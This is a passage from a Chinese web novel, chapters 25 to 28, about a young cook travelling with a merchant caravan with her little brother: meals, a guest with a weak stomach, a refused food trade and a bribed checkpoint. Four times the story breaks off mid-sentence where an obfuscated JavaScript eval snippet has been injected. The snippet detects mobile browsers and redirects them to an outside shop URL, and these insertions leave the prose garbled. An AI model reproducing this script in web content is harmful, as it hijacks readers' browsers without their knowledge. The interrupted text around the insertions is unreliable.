另一边，帮厨们手脚麻利，也已包好了整整齐齐几大排元宝似的馄饨。用作汤底的虾皮、切得细碎的小葱和紫菜也分别用碗碟装好。 一切准备就绪，天边也刚好泛白。 25. 第 25 章 一揭开蒸笼盖子，顿时白雾夹着腾腾热气涌出，待雾气稍散，便露出暄软白胖的馒头。 “各位师傅辛苦，先尝尝味道如何。”林芜用长筷子给每人都夹了一个馒头。 馒头还烫手，几人吹着气咬入口中。 “这素馒头味儿正！”一位帮厨忍不住赞道。他平日也没少做素馒头，但总觉得味道一般，远不如今儿这个吃着香。他原本还嘀咕这馅料如此简单，怕是不出彩，此刻却是心服口服。 “什么好吃？什么好吃的？”小赵鼻子灵，闻着香味就凑了过来，眼睛发亮地盯着蒸笼，“哎哟，两位姐，朝食这就得啦？可真够快的！” “赵小哥来得正好，馒头刚出笼，趁热尝尝。”林芜也给他夹了一个，用一片阔叶裹上递给他。 小赵接过，也顾不上烫，吹了两口就咬下一大口，一边嘶嘶吸气一边含糊不清地夸赞：“唔！好吃！林姐你这手艺真是绝了！” 他三下五除二便将一个馒头吞下肚，意犹未尽地伸手：“再来两个！” “赵小哥，这可不行，”林芜笑着摇了摇头，“每人要么四个馒头，要么两个馒头配一碗馄饨。咱们人多，粮菜都得计算着来。”这定额分配是商队的规矩，以防后面路程补给不上。 小赵自然也是晓得的，只犹豫了一瞬便道：“成！那就给我来四个馒头。这馒头实在，顶饿。馄饨啥时候吃不行？” “素馒头能有啥吃头！”旁边一个刚交完班的护卫正揉着肩膀走过来，闻言不以为然，冲着林芜道，“嫂子，给我来碗热乎的馄饨！” “好嘞，您稍等，马上就好。”林芜利落地应声，数了足量的馄饨下入滚开的锅中。同时手脚麻利地拿过一个大陶碗，放入紫菜、虾皮，又点了些酱。待馄饨在锅里翻滚熟透，她用笊篱捞起倒入碗中，撒上一小撮葱末，再浇上一大勺滚烫的骨汤，热气和香气瞬间漫出。 “您的馄饨，小心烫。” 那护卫接过碗，先小心地喝了一口汤，温热鲜香的汤汁下肚，顿感清晨的凉意都散去了，他满足地舒了口气：“这汤可真够鲜灵的！” 接着他咬开一颗馄饨，又赞叹道：“这馅儿调得也香，有嚼头！” “既然您觉着素馒头没吃头，”小赵啃着自个儿的馒头，瞅着护卫手边那俩馒头，笑嘻嘻地说，“那俩就归我了呗，别糟践粮食不是？” “好小子，算计到我头上了是吧？”护卫笑骂，瞧他那副模样，也来了兴致，顾不上馄饨还没吃完，顺手就抓起一个馒头咬了一大口。 馒头入口，面皮松软微甜，内里的素馅竟毫不寡淡。菜蔬剁得细，汁水丰盈，浸着淡淡的油香，清爽却滋味十足。他嚼了几下，速度不自觉地快了起来。 小赵瞧他这吃相，得意地晃了晃手里的馒头：“有吃头吧？” 护卫几口吃完一个，才腾出嘴来回道：“真不赖，还是你小子会挑。” 他咂咂嘴，又瞥了眼自己那碗馄饨，故意逗他：“可惜喽，这么鲜的馄饨，小赵你今日是无福消受咯！” 小赵一听，瞪起眼：“汤汤水水图个鲜，不顶饱，小心你今早行到半路满肚子汤水晃荡，饿得肚子咕咕叫。还是我这馒头扎实管饱。” 两人你一句我一句，谁也不让谁，嘴上又都没闲着。小赵捧着馒头大口啃着，护卫则吸溜着馄饨，吃得香甜。 陆续醒来的护卫伙计们，嗅着香味儿，又听着两人逗趣，于是都围了过来。 后厨区域很快就热闹起来，领饭的、吃饭的，人声鼎沸。 林芜一边忙着煮馄饨，一边趁隙问吃完馒头正准备去忙的小赵：“赵小哥，东家和几位管事那边，是否需要提前备好，单独给他们送过去？” “要的，要的！还是林姐你想得周到！”小赵一拍脑袋，“我这就去看看东家和管事起身了没，你先把东西备着。” 说完，他便一溜烟跑了。 —— 小赵再回来时，身后跟着张管事，手里还提着一个精巧的多层食盒。 张管事目光扫过井然有序的灶间和埋头用饭的伙计们，神色缓和，温声问道：“眼下可能支应得来？” “支应得来！”帮厨的汉子扬声道，“您请来的两位厨娘手艺好，顺当着哩！” 一旁的李三娘也笑着附和：“大家伙儿一起动手，比预想的还顺畅些。” 张管事闻言点头：“顺当便好。” “管事您要用些什么？灶上立时就能备好。”林芜也顺势问道。 “先紧着东家，”张管事将食盒递过来，“素馒头和馄饨各备上一些，东家用得不多，不过东家此行有客，备足三人的份例便可。” “好嘞，东家的份例早已单独留出来了，一直温在灶上。”林芜接过食盒。 她仔细拣了品相好的馒头，又将煮好的馄饨盛得妥帖，装得满满当当。 张管事提着装好餐食的食盒，很快便转身离开了喧闹的后厨区域。 马车内，方谦正透过车窗望着外面活跃起来的营地，见张管事进来，便收回目光，含笑道：“外头听着甚是热闹。” “是，今早林厨娘主持朝食，做了素馒头和馄饨，伙计们吃得高兴。”张管事一边回话，一边将食盒内的碗碟取出，在车内的小几上摆放妥当。 他刚布置停当，车帘便被撩开。 “看来我来的倒是时候。”来人约莫五十来岁，穿着一身半旧的深青色直裰，布料厚实，毫无纹饰。头发整整齐齐束在巾子下，面容清瘦，颧骨微突。 “秦世伯，”方谦含笑拱手，“昨夜歇得可好？正巧朝食刚送来，行旅在外，皆是粗简饭食，招待不周，还望世伯莫要嫌弃。” “就七八日的路程，还有专厨随行，也就你们方家这般讲究，”秦啸山一笑，弯腰进了车厢，“此番是老夫厚颜搭队，给你们添麻烦了才是。” 方谦侧身：“世伯说笑了，此行货物倒是其次，护送您平安抵达凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872171|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 州，才是小侄最要紧的差事，若是途中招待有半分不妥，只怕沈伯父要给小侄吃闭门羹。” 他此趟去凌州，本就是专程拜访姻伯父沈仲铭。方、沈两家既是姻亲，又是生意场上唇齿相依的伙伴，关系非同寻常。 秦啸山是沈仲铭的旧识。商队此前在乌仓县特意多停留几日，便是为了接他同行。他在乌仓县城西经营着一家不小的货栈，此番听闻十余年未见的旧日上官到了凌州，便起了探望的念头，正好与方家商队同路。 秦啸山瞧着案几上的吃食，馒头扎实，馄饨冒着热气，瞧着就让人胃口大开：“有饼有汤，确是周到。” 他话音一落，跟着他的一位老仆却连忙打开提着的食盒，取出一只陶盅放到案几上，轻轻揭开盖子。里面是一碗炖得近乎膏状的粥，隐隐透着药材香。这粥从昨日启程前便隔水文火慢煨至今。 “老爷脾胃弱，受不得寻常饭食的粗硬，”老仆低声解释，将粥碗摆在秦啸山面前，“只能进些这样糜烂软和之物。” 秦啸山早年行军，饥一顿饱一顿，后又案牍劳形，脾胃就落了病根。 “是小侄疏忽了，”方谦见状，语带歉意，“应当提早嘱咐厨娘，为世伯单备些易克化的餐食。” 秦啸山却摆摆手：“不必折腾。哪有那么娇气？在家被管着，出了门还不许我松快松快？” 说着，他掠过那碗粥，径直伸手取了一个馒头。 那暄软异常的触感让他略感意外：“这馒头倒真是松软。” 他咬了一口：“不错不错！竟是素馅儿的，正合我意。” 他平日少沾油腻，寻常素馅儿也多有干柿、胡桃、百合等硬果干货，不易消化。但这个素馅儿只放了些菘菜、木耳、芦菔和鸡子，剁得细碎，蒸得软烂，调味清淡却恰到好处，竟有些返璞归真的意味，入口也无负担。 “合世伯胃口便好。”方谦也拿起一个馒头。 秦啸山接连吃完两个馒头，才缓下动作，笑道：“让贤侄见笑了。到底是家底厚实的方家，连行商路上的饭食都这般细致，滋味着实是好，倒显得我像个没见识的老饕了。” 他吃得舒坦，眉宇间也透出几分畅快。 “世伯言重了。这厨娘是临时在乌仓县雇的，不过是运气好，碰上个手艺妥当的。”方谦应道。 秦啸山一听，声音不自觉扬起半分：“哦？乌仓县的临时厨娘？若是机缘合适，又能合她心意，能请到我们货栈的伙房来，倒真是一桩好事。” 说着，他又舀起一勺馄饨汤。汤色清亮，入口却鲜醇温润，清晨用上这么一碗，胃里甚是熨帖。他心中那点招揽的念头，不由又真切了几分。 “这才头一天，世伯就惦记上小侄这儿的厨娘了？”方谦笑着摇了摇头，语气却并无芥蒂，“不过听闻她身世颇有些不易，若是往后能得秦家货栈照应，倒也是一番造化。” “看来我这趟是真没白来，连吃带拿的。”秦啸山不禁笑道。 26. 第 26 章 后厨这边，眼见大部分伙计都已吃饱散去，各自回到岗位，喧闹渐平。 林芜这才发觉林景一直没露面。她跟李三娘和几位帮厨师傅打了声招呼，舀了一碗温水，便朝停靠在后方的货车走去。 她钻进车厢，只见林景依旧安静地靠在他们那几个包袱旁。 “怎么不出去吃东西？不饿吗？”林芜轻声问道，取出他的小木碗，倒入温水，又小心地加入少许盐粒和碾碎的干薄荷叶。 林景没立刻回答，而是熟练地拿起一块用细布缝制的小毛巾，用温水打湿，仔细地擦了擦小脸和手。他接过木碗，走到车辕边漱了口，这才转回来，小声说道：“不饿。” 他顿了顿，声音更低了：“咱们商队后头还跟着好些不是自己人的人。我怕我一走开，咱们的东西就被人顺走了。”他们很穷的，一针一线都不能丢。 林芜哭笑不得，伸手揉了揉他的头发：“天都大亮了，商队这么多护卫看着呢，没人敢过来。走吧，去吃朝食，给你留了软和的馒头和热馄饨。” 她牵着林景的小手，将他带到后厨，给他拿了一个温热的素馒头，又煮了一小碗馄饨。 林景坐在一张矮凳上，捧着自己的小木碗，小口小口地喝着汤。温热的汤水下肚，暖了全身。馄饨皮薄馅嫩，馒头也松软香甜，他吃得很仔细。 他望着这片陌生却充满生气的热闹，耳边有锅碗轻碰、柴火噼啪的声音，还有护卫伙计们的说笑声。这一刻他觉得自己不是在仓惶奔逃，而是寻常人家外出游玩的小郎。 商队生活节奏紧凑，众人用完朝食后便迅速收拾好杯盘，营地也很快被整理干净。车队再次启程，在官道上蜿蜒前行。 后厨早已额外蒸了好几大笼炊饼作为途中干粮。到了晌午歇脚时，便可热上炊饼，就着预先备好的酱菜匆匆果腹，便算是一顿加餐。 白日里长途跋涉最耗体力，若中间不垫补些，实在难以支撑到天色将晚才能下肚的晡食。 车厢随着路途微微晃动，李三娘便趁着这段空闲，与林芜盘算起今日的晡食。他们须在有限的时间内做出能让近百人吃饱的饭食，动作必须利落。 “晡食我打算做羊肉索饼，”李三娘显然胸有成竹，“酱羊肉昨日就炖煮入味，今日只需回锅加热，味道定然更厚。届时现拉索饼下锅，热汤热水，又快又方便。” “三娘安排周到，”林芜点头赞同，“您的手艺一绝，昨日光闻着那肉香，就引得人肚里馋虫直叫。” 这话显然说到了李三娘心坎上，她脸上露出些许得意之色：“这倒是我的拿手活儿。也是咱们东家厚道，舍得用这么好的羊肉，咱们才能放开手脚。” “是啊，我们也沾光打打牙祭，”林芜顺着她的话，轻声感叹，“不瞒您说，我可是有好些日子，没闻过这般扎实的肉香了。” 此时他们离京畿尚不算远，得益于几位先帝对官道的重视，道路颇为平坦。两旁栽种着整齐的行道树，时见供人歇脚的凉亭水井，偶尔还能遇见一两家食店。 只是这些小店接待能力有限，滋味也寻常，像锦程行这样的大商队，主要还是依靠自带的厨娘和食材。 晌午时分，商队在一处松林旁停下歇脚，不远处有一口公用水井。 后厨立刻忙碌起来，将早晨蒸好的炊饼重新加热，又快手快脚地煮了一大锅臊子。这臊子是在早晨特意多做的素馅基础上，添了些切得细碎的咸肉丝一同翻炒，咸香可口，正好可夹在热炊饼里，既便捷又管饱。 忙活间，林芜想起方才张管事的叮嘱，东家那位贵客肠胃弱，需备些易克化的吃食。又想到东家不喜油腻，加了肉丝的臊子炊饼未必合他胃口。 与李三娘商量后，她另起一小锅，用芋魁、山药和干枣熬煮了一锅甜羹，火候掌握得不错，芋魁和山药都煮得软烂，羹汤清甜不腻。 —— “这厨娘，倒是颇有心思。”车厢内，秦啸山看着管事摆上来的甜羹，率先开口。 只见白瓷碗里，羹汤泛着温润的糖色，碗底沉着芋魁和山药，间或点缀着几粒红枣碎，瞧着倒有几分质朴的意趣。 更何况，芋魁和山药皆性平甘润、最宜养胃，干枣温补、益气生津又能增甜调味，对他再适宜不过。 他舀起一勺送入口中，羹汤微烫，清甜却不腻喉，清润适口。 “也正好给炊饼解腻。”方谦刚用完一个夹臊子的炊饼，正觉咸香略重，口中发干，再来一碗甜羮顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16876691|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时便解了油腻。 “说到这甜羮，”方谦搁下汤匙，“想来观亭应当喜欢，不知他随伯父初到凌州，能否适应这边的饮食。” “观亭可是仲铭兄的长孙？”秦啸山问道。他与殿帅久未联系，沈家又远在湖州，因此对其后辈情况知之甚少。 “正是，”方谦颔首，“观亭虽尚在弱冠之年，行事却沉稳练达，更有龙章凤姿，风仪超然。莫说湖州，便是放在京城里，那些个声名在外的世家子弟，在他面前怕也要逊色几分。” 沈观亭向来是方家长辈口中别人家的孩子，方家孙辈的阴影。作为姻亲，方谦也算沈观亭的长辈，每每向外人提起这位小辈，言语间总不免带几分与有荣焉的夸耀之意。 秦啸山闻言，若有所思。沈仲铭亲自带着最出挑的孙辈前来凌州，此中意味，颇为深长。 “能见到这般才俊，老夫这趟是值了，”他舀了一勺甜羹，语气似是寻常闲聊，“仲铭兄离京十余载，此番既到了凌州，怎不索性回京看看？几位故交老友，也都念着他。” 方谦闻言，只微微一笑：“沈伯父说，如今京里正是热闹的时候，人多眼杂，规矩也多。倒不如在凌州这般地方清净自在。您久在乌仓县，想必最是明白。” 秦啸山笑着点头：“这倒确是仲铭兄的做派。咱们这些行伍出来的老骨头，性子直，礼数粗，还真可能一个不小心便冲撞了贵人。” “正是。有时小侄都想，不如干脆在湖州置处产业，跟着沈伯父做个邻舍。湖州山柔水润，日子舒缓，连饮食风味都合小侄脾胃。小侄这张嘴啊，倒是天生就该生在江南的。”他玩笑道。 又不着痕迹地将话题带回：“观亭自幼在湖州长大，食味偏于清淡，与凌州这般咸鲜厚重的风气，终究是迥异，这段时间他怕是吃苦了。” 一旁的张管事闻言，也笑着宽慰：“东家多虑了，观亭少爷性子随和，待人接物处处妥帖，于吃食上似乎也并不见挑剔。” 方谦瞥了他一眼，摇头失笑：“听你这话，倒显得是我格外挑剔了？” 他对这小辈再了解不过，表面上一副什么都好的端方有礼模样，实则挑剔讲究。只不过那小子讲究得不显山不露水，惯会装模作样罢了。 27. 第 27 章 晌午的休憩短暂，众人刚缓过气来，便又开始收拾行装，准备继续赶路。 林芜正低头归置着后厨的杂物，眼角余光瞥见一个身着褐色粗布衣的妇人，拉着一个约莫五六岁的瘦弱女童，径直朝自己走来。 原本在一旁默默帮忙收拾的林景，立刻停下了动作，朝林芜走近了几步，看着像是怕生，那双黑亮的眼睛却警惕地看着来人。 “这位嫂子，打扰了。”那妇人走到了他们跟前，脸上带着些许窘迫的笑意。 “嫂子有何事？”林芜停下手上的活计，语气温和。 那妇人将身前的女童轻轻往前带了带，叹气道：“不瞒您说，我们母女跟着商队走了好些天了，干粮倒是带得足，只是……” 她的目光状似无意地扫过林景：“您也是带着孩子的人，应知道小娃肠胃娇弱，天天啃那些又干又硬的饼子，实在难受。我方才瞧见你们这儿生了火，做了热乎的吃食，就厚着脸皮想来问一句，能不能跟您换一些？我不白拿，我用细面饼跟您换。” 说着，她便从随身的包袱里掏出两个白净的饼子。 林景察觉到妇人的目光，瞧瞧那两个细面饼，又低头看看自己身上挎着的小束口袋。 小袋是他方才从货车拿过来的，用来装他没吃完的小炊饼，还微微敞着口。他立刻伸出小手，抓住束带，用力一拉，把口子收了起来。小饼顿时被他完全藏起来。 林芜瞥见他这番行云流水的小动作，心下觉得好笑。但脸上仍是同情的神色，叹了口气：“唉，带孩子出门确实不易，嫂子辛苦了，这孩子瞧着也让人心疼。” “若不是实在没法子，谁愿带着孩子受这种罪。尤其我这闺女，胎里带的弱症，身子一直没养好。都怨我命不好……”那妇人说到这里更是情真意切，眼眶微红。 林芜看了眼那面容有些苍白的瘦弱女童，嘴唇微动，像是内心挣扎了一番，才低声道：“嫂子，您的难处我明白。只是、只是我也有我的难处，还请您千万体谅。我虽在灶上干活，却只是临时受雇的，这些米面粮油都是东家的，我实在做不了这个主，真是对不住您了。” “嫂子，这规矩我懂，大商队自有章法，”那妇人连忙接口，目光扫过林景那个看起来鼓鼓囊囊的小袋，压低声音，“您能不能把分给您或您孩子的那份，匀一点给我们？” “嫂子，这怕是不合规矩，”林芜闻言，脸上显出几分惶恐，“商队里人多眼杂，今天我给你换，明天他给我换，若是传出去，人人都来换，岂不乱套了？让管事知道，我们这些做活计的，定要挨罚的。” “哎呀，就这一回，我也不是个不识好歹的，到处胡乱说。悄悄换了，谁会发现？管事们哪会管这等小事！”那妇人仍是不死心。 林芜却只是坚定地摇了摇头，不再言语。 那妇人见状，脸色也沉了几分，拉起孩子的手，语气哀戚：“你这个人，怎么这般……唉，也怪我，还以为同是带着孩子赶路的苦命人，总能互相体谅些。”说罢，她不再多言，拉着孩子，悻悻然地转身走了。 待那妇人的身影消失在人群里，一直在旁默不作声的李三娘才凑近些，脸上带着几分不解，低声问道：“你怎的不肯与她换？我瞧着那孩子确是怪可怜的。” 林芜将最后一件炊具稳稳放上货车，拍了拍手上的灰，才回道：“唉，咱们身在商队，端着东家的饭碗，行事便不能只凭心软，更得凭规矩。” 她顿了顿，目光扫过一旁竖着耳朵听的林景，声音放得更缓。 “其一，像我方才与她说的那般，今日换与她，若有旁人瞧见，也来求换。到时我们是换还是不换？换给谁，不换给谁？都是麻烦，平白惹来怨怼。其二……” 她语气沉了几分：“也是更要紧的，她从咱们这儿拿去的吃食，若她自家孩子吃得不当心，或是本就肠胃不适，回头硬说是吃了我们的东西闹了病，纠缠起来，我们浑身是嘴也说不清。到那时，岂不给商队惹来大麻烦？” “哎呀！”李三娘一拍大腿，恍然大悟，“是极是极！还是林娘子你想得深远。我这脑子，光瞧着孩子可怜了，竟没想到这一层。受教了，真是受教了！” 旁边的帮厨王师傅也点头附和：“林娘子这话在理。咱们走南闯北，这等事见得多了。不单是这些随行的小商队家眷，沿途若遇上那些流民，更是难办……唉，我们东家是心善，但这些口子可不能开。” 林芜垂下眼，轻声补充：“我哪里想得到这么远，不过是在乡下见得多了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16879946|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，也吃亏多了，才硬生生熬出这点记性。三娘你住的村子想必富庶和睦，不常经历这些，是好事。” “我这回是晓得了，出门在外，真是事事都得掂量，”李三娘连忙点头，又忍不住问道，“若那对母女真是老实本分的苦命人，也着实不易。你说，下回若再遇上，咱们带她去找管事问问成不成？” 林芜摇了摇头：“那更是不妥。咱们做事的，哪有随意往管事跟前揽事的道理？她若真有难处，该直接去求管事才是正路。” 她可是有十年宫女生涯，再加上前世，工龄可是有十几年了，资深打工人来着。带她去找管事，那不就是给上级揽活儿又派活儿吗？简直倒反天罡。 “是是是！哎呀，还是我想得不够周全，”李三娘又一拍大腿，“说到底，在这路上，咱们顾好自己便好，还是不能多管闲事。” “是哩，”林芜点了点头，“守好本分，不出差错，便是万幸。能遇上锦程行这样厚道的东家，让我们能不愁温饱，已是天大的运气了。” 一直紧紧挨着她的林景，小手用力地攥住了束口袋的背带。 待瞧见那对母女的身影彻底消失，他轻轻拍了拍自己的袋子，像是安抚了一下自己的小饼。 车队沿着官道继续缓缓前行。 不久，便瞧见张管事与一名护卫策马加速，朝着前方先行而去。 又行了一段路，远远望见官道被一座土木结构的关卡扼住。那关卡设有瞭望的关楼，两旁是以栅栏和拒马连成的屏障，数名腰挎朴刀的兵丁守在两侧。 张管事与护卫的身影在此处停下，上前与一名看似头目的军官交涉。 很快，车队也到了关卡前。 见到那些持刀肃立的兵丁，林芜心里也不由得一紧。宫殿的士兵、化人场的守卫……那些曾经的画面似乎浮现在眼前。林景更是绷紧了身子，紧紧挨着林芜。 几名士兵上前进行盘查。他们并未仔细翻检货物，随意看了几眼车上装载的货物后，便沿着队伍匆匆走了一圈，偶尔扫一眼商队的人员车马。 其中一名年轻士兵晃到后勤货车这边，瞧见林芜身后还藏着个小身影，声音一扬：“哟，怎么还带着个奶娃娃？你们锦程行怎么也夹带起老弱妇孺了？” 28. 第 28 章 林景悄悄将自己整个小身子都藏在林芜身后，看上去像是怕极了这些官兵。 林芜正琢磨着是否要回那士兵的话，抬眼就瞧见小赵快步走来的身影，她心下稍定，安抚地拍了拍林景，随即垂下头，怯懦地移开目光，不敢与官差对视。 小赵笑嘻嘻地凑了过来，语气热络：“军爷说笑了，这是咱们商队雇的厨娘，公凭上人数都是对得上的。这回带着孩子去凌州探亲，孤儿寡母的，路上不容易，咱们东家心善，您也是知道的，能行个方便就行个方便。” 他们这回在乌仓县招两个临时厨娘，也有为了补足公凭人数的考量。公凭上的人数早已报备过，但因原定的两位厨娘途中患病留在乌仓县休养，队里便需补上这两个缺额，方与文书相符。 那兵丁也没深究，只挥挥手道：“行了，过去吧。” 几名士兵的注意力很快便从锦程行移开，转向了队伍后方那些跟着的小商队。 那边显然就没这么轻松了，翻检行李的动静伴随着呵斥声隐约传来。 林芜在车上回头望去，只见紧随其后的，正是那痦子大娘所在的小商队。 那边就传来了士兵不耐烦的声音。 “你们这商队怎么回事？公凭上白纸黑字写着十人，这老的老小的小，我一眼扫过去就不止！怎么，当爷们儿的眼睛是瞎的？！” “军爷明鉴啊！咱们都是老实本分的买卖人，哪敢欺瞒您！这多出来的几位，都是路上捎带的乡亲，不去凌州，到前头县城便下。咱们瞧他们行路可怜，顺路捎一把，真不是队里在册的人。”一个穿着皂色细布短褙的微胖汉子，瞧着是商队领队模样的人，连连向兵丁拱手，客气解释道。 “你当我傻？”兵丁嗤笑一声，“这套糊弄人的说辞，爷听得耳朵都起茧了！” “军爷啊——您行行好！”就在这当口，痦子大娘不知从哪儿窜了出来，扯开嗓子便干嚎起来，“您瞧瞧咱们这堆老骨头小崽子，哪个像歹人？老婆子我黄土都埋到脖子根了，就差这最后一口气！” 她拍着大腿，嗓门又尖又大，根本不容人插嘴：“我个乡下老婆子哪里懂什么公凭文书、衙门规矩？我就认一个理，我要去前头县城看我几十年没见的娘家兄弟！这把老骨头走了几十里地，好不容易撞上支心善的商队捎我一段，才没累死在半道。官爷您发发慈悲，就当行善积德，抬抬手，当放个屁，噗一声把咱们放过去得了！” 她这一长串说得气都不带喘的，又快又顺溜。她心下门儿清，似她这般老妇真闹起来，守关兵丁多半嫌纠缠不清，平添麻烦又浪费时间。等会儿顺手再给几个茶钱，对方顺水推舟，骂咧几句也就抬手放行了。 “少废话！”可这兵丁却连眉毛都没动一下，转头看向一旁的领队，“公凭呢？” 孙领队赶忙递出方才收好的公凭，赔笑道：“军爷，商队的公凭方才您已经验看过了，一点不差……” “装什么糊涂！”兵丁不耐烦地打断，“我问的是这老婆子她个人的公凭！朝廷的规矩，懂不懂？！” “天爷啊！”痦子大娘见势头彻底不对，索性一屁股瘫坐在地，手拍着黄土就嚎啕起来，声音凄厉得像是受了天大的冤屈，“我一个老婆子，一不偷二不抢，难不成是什么江洋大盗，还是在逃的老奴？这还有没有天理王法了啊——” “我管你七老八十，规矩就是规矩。没有公凭，就是不行！”兵丁态度强硬。 痦子大娘眼见撒泼无效，竟矛头一转，指向了前头的锦程行：“没天理啊！前头那大队人马，你们不去盘查，谁知道里面混了多少没凭据的？偏偏就盯着我们这点穷家当往死里逼！还不是看我们好欺……” 她话音未落，孙领队吓得脸都白了，猛地伸出手，用力将她一拽，推给商队的伙计，立刻转身对着兵丁点头哈腰：“军爷息怒，军爷息怒！这老虔婆老糊涂了，满嘴喷粪，胡说八道！您千万别跟她一般见识，千万别往心里去。” 说话间，他已麻溜地从怀里摸出几粒碎银，塞进兵丁手里：“一点茶水钱，不成敬意，您消消气，千万行个方便……” 那兵丁掂了掂手中的银子，脸色稍霁，冷哼一声，瞥了痦子大娘一眼：“人家锦程行是挂了号的大商队，人数、货物一应在公凭上列得清清楚楚，也都提前打点妥当了，自然顺畅。哪像你们，总想着钻空子，不查你们查谁？” 坐在货车里的林芜，将这一幕尽收眼底。那兵丁的话虽不中听，却有几分道理。小商队人少货寡，多一个人都如秃子头上的虱子，明晃晃的，根本藏不住。 而锦程行这般大商队，规模庞大，人员构成复杂，一应文书手续早有专人打点周全，不必自个儿去应付那些兵丁，反而安全。 林景则眼睛一眨不眨地瞧着那些个兵丁。他们时不时接过递来的铜钱或碎银，动作熟稔。那些钱不像揣进了荷包，像是塞进了喉咙，比什么哀告和眼泪都管用，钱一入手，兵丁刺耳的呵斥便立马低了下来。 后头那些小商队与兵丁的纠缠，与锦程行无关。车辆微微一顿，再次缓缓启动，晃晃悠悠地驶过了关卡。 —— 日头西沉，待天色暗下，商队再次寻了一处开阔地停下扎营。 众人各司其职，后厨区域很快又响起了熟悉的忙碌声响。 几人合力将李三娘昨日焖的羊肉抬出，倒入大锅中加热。不多时，浓郁的肉香便弥漫开来，勾得路过的伙计们频频侧目。 李三娘带着帮厨们在一旁揉搓做索饼的面团，林芜则取出晌午便在行路途中用水泡发的蕈干，撕成小块，准备混着菘菜和咸肉丝炖成一锅鲜汤。 行路在外，除了头日能有鲜肉，后续用的更多的是耐放的咸肉和有限的几样蔬菜，厨娘发挥的余地实在不多。 幸而最费火候的羊肉早已炖煮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884634|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酥烂，其他准备起来都快。 暮色四合时，热腾腾的晡食便已出锅。 这顿晡食是李三娘昨日便备下的料，那时也未考虑到东家那位贵客的口味。方才管事和贵客的老仆一同过来，说晌午那碗甜羹很对贵客的胃口，所以林芜又额外煮了一锅甜羮单给东家和贵客。 李三娘的手艺带着明显的当地特色，羊肉索饼咸香厚重，也对大家伙的胃口，一个个吃得满头大汗，酣畅淋漓。 林芜也觉得这餐饭实在顶饱，肉量给得足。 她身边的林景也小口吃着面条，被咸得小脸微微皱起，低头喝了口汤，不想汤味更咸，只好赶紧灌下几口清水。 小孩子的味觉本就敏感，这口味对他而言确实重了些。林芜见状，拿来一个小碗，将肉在温水中涮了涮再放回他碗中。 “谢……”林景下意识想道谢，话到嘴边又猛地咽了回去，想起此刻的身份不该如此生分，便转而仰起小脸，冲着林芜眯眼一笑，乐滋滋地晃了晃脑袋，这才重新埋头吃起来。 锦程行这边吃得热火朝天，浓郁的肉香随风飘散，让坠在后头的小商队愈发显得凄凉。他们虽也生了火，却捉襟见肘。 那痦子大娘正将几个硬邦邦的干饼子架在灶上烘烤，又用温水煮了一锅酱菜汤。那酱菜不知腌了多久，许是盐放得少，一煮开就只剩一股不新鲜的寡淡菜味，汤色浑浊发黄。 他们就着锦程行那头飘来的肉香，味同嚼蜡地啃着饼子。 “呸！出门在外，弄出这般阵仗，肉味儿飘出几里地，明摆着告诉山匪这里有肥羊！等她招来祸事，看她还怎么得意！”痦子大娘满肚子怨愤，恨恨地嚼着干饼，一双三角眼死死盯着远处正吃着羊肉索饼的林芜。 “少说两句吧！你这张嘴净会惹祸！人家如今攀上了锦程行的高枝，岂是你这老虔婆能比的？今时不同往日喽。”孙领队阴阳怪气地说着，他还在为过关时平白损失的那点碎银肉疼，看这惹事的老婆子愈发不顺眼。 “现在倒是怨起我来了？！”痦子大娘顿时就尖声嚷嚷起来，那唾沫星子都快溅到灶上了，“这商队前前后后，哪顿吃食不是靠老娘张罗？离了老娘，你们连口热乎饼子都吃不上！你倒是想拉拢人家来帮补，可人家眼皮子高，瞧得上咱们这破落户吗？！”她在这小商队待得久，仗着一把年纪撒泼打滚，平日帮商队占些小便宜的事没少做，气焰足得很。 “你这老婆子不识好歹！若不是我孙某，你这会儿连酱菜汤都没得喝，在那儿荒郊野岭喝你的西北风去吧！”孙领队被她噎得脸色铁青，甩下两句狠话，扭头就走了。 